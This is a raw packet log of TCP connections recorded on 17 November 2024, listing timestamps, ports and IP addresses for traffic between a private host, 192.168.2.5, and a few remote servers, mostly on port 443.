Nov 17, 2024 03:42:26.693305969 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.693341017 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.693340063 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.693365097 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.693377018 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.693381071 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.694240093 CET	80	49728	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:26.694309950 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:26.739124060 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.739228010 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.739355087 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.741130114 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.741190910 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.742072105 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.742295027 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.742333889 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.743014097 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.743031979 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.744021893 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.744044065 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.744132042 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.744414091 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.744425058 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.745142937 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.745155096 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.745230913 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.746038914 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.746040106 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.746047974 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.746054888 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.746144056 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.746349096 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.746365070 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.472760916 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.473855019 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.473887920 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.476828098 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.476835012 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.477437973 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.478183985 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.478183985 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.478194952 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.478216887 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.478753090 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.479592085 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.479592085 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.479670048 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.479727983 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.479917049 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.480504990 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.480531931 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.481060028 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.481067896 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.490598917 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.491225958 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.491235971 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.493505955 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.493511915 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.601695061 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.601715088 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.601749897 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.601763964 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.601875067 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.608243942 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.608505011 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.608613014 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.609488964 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.609514952 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.609569073 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.609643936 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.618393898 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.618393898 CET	49741	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.618447065 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.618480921 CET	443	49741	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.623766899 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.623792887 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.623862982 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.623867989 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.624094963 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.624422073 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.624422073 CET	49740	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.624439001 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.624449015 CET	443	49740	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.625358105 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.625358105 CET	49739	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.625394106 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.625422001 CET	443	49739	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.631128073 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.631134033 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.631169081 CET	49742	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.631175995 CET	443	49742	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.637447119 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.637485027 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.637763977 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.665529966 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.665565014 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.670142889 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.670171976 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.670272112 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.671406031 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.671418905 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.671705961 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.671736002 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.671894073 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.672039032 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.672054052 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.698656082 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.698669910 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.698750973 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.720474958 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.720491886 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.721698999 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.721884966 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.721946955 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.722182035 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.722207069 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.722219944 CET	49743	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.722228050 CET	443	49743	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.783210993 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.783273935 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:27.783340931 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.785656929 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:27.785695076 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.402432919 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.405051947 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.408576012 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.450160980 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.450258970 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.450278997 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.450602055 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.450604916 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.452377081 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.452383995 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.452801943 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.452815056 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.453299999 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.453305960 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.453573942 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.453583956 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.454217911 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.454224110 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.459376097 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.459381104 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.459755898 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.459760904 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.521200895 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.575784922 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.583420038 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.583523989 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.583580017 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.584220886 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.584464073 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.584507942 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.645694017 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.645725965 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.646332979 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.646357059 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.646859884 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.646886110 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.646902084 CET	49747	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.646909952 CET	443	49747	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.647838116 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.647844076 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.647864103 CET	49745	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.647870064 CET	443	49745	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.676744938 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.677097082 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.677155972 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.701833010 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.702064037 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.702115059 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.725537062 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.725537062 CET	49746	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.725579977 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.725593090 CET	443	49746	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.734922886 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.734961987 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.735039949 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.736515999 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.736547947 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.736565113 CET	49744	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:28.736572981 CET	443	49744	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.772291899 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.772346020 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:28.772600889 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.011456966 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.011456966 CET	49748	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.011487961 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.011499882 CET	443	49748	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.142292023 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.142323017 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.142781019 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.142884016 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.143043041 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.143172979 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.143194914 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.171814919 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.171853065 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.171948910 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.204785109 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.204817057 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.206324100 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.206362009 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.206612110 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.208599091 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.208614111 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.245445967 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.245471001 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.245834112 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.306220055 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.306237936 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.538114071 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:29.538209915 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:29.538285017 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:29.543948889 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:29.543992996 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:29.876703978 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.877419949 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.909665108 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.909760952 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.910240889 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.910255909 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.922250032 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.922276974 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.926357031 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.950397015 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.950407028 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.950886011 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.950905085 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.952429056 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.954453945 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.954459906 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.955154896 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.955179930 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:29.955826044 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:29.955832005 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.035203934 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.035351038 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.035433054 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.045244932 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.057794094 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.057823896 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.057835102 CET	49750	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.057842016 CET	443	49750	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.066401005 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.066426992 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.066976070 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.066983938 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.079365015 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.079427958 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.079476118 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.084659100 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.084881067 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.084939957 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.122014046 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.122030020 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.122040987 CET	49751	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.122046947 CET	443	49751	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.129897118 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.129968882 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.130009890 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.140906096 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.140947104 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.140960932 CET	49752	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.140969038 CET	443	49752	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.149291039 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.149302006 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.149312973 CET	49749	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.149317026 CET	443	49749	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.163894892 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.163973093 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.164038897 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.167381048 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.167414904 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.168874025 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.168930054 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.169029951 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.174907923 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.174942017 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.179016113 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.179049969 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.179107904 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.179223061 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.179238081 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.193753004 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.193912983 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.193984032 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.198508024 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.198606968 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.198682070 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.199980974 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.199981928 CET	49753	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.200016022 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.200032949 CET	443	49753	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.228741884 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.228792906 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.339760065 CET	49765	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.339802980 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.339864969 CET	49765	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.627928019 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:30.735076904 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:30.897063017 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.905006886 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.909189939 CET	49765	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.909221888 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.916366100 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:30.916403055 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:30.920201063 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:30.920237064 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:30.920314074 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:30.922324896 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.923046112 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.923065901 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.923616886 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.923623085 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.973627090 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:30.973818064 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:30.973926067 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:30.992566109 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.994740009 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.994756937 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.995228052 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.995234013 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.995534897 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.995551109 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:30.995944023 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:30.995949030 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.004512072 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.004540920 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.005354881 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.005366087 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.030141115 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:31.030157089 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:31.054773092 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.054850101 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.054917097 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.059721947 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.059721947 CET	49763	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.059736967 CET	443	49763	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.059748888 CET	443	49763	13.107.246.45	192.168.2.5
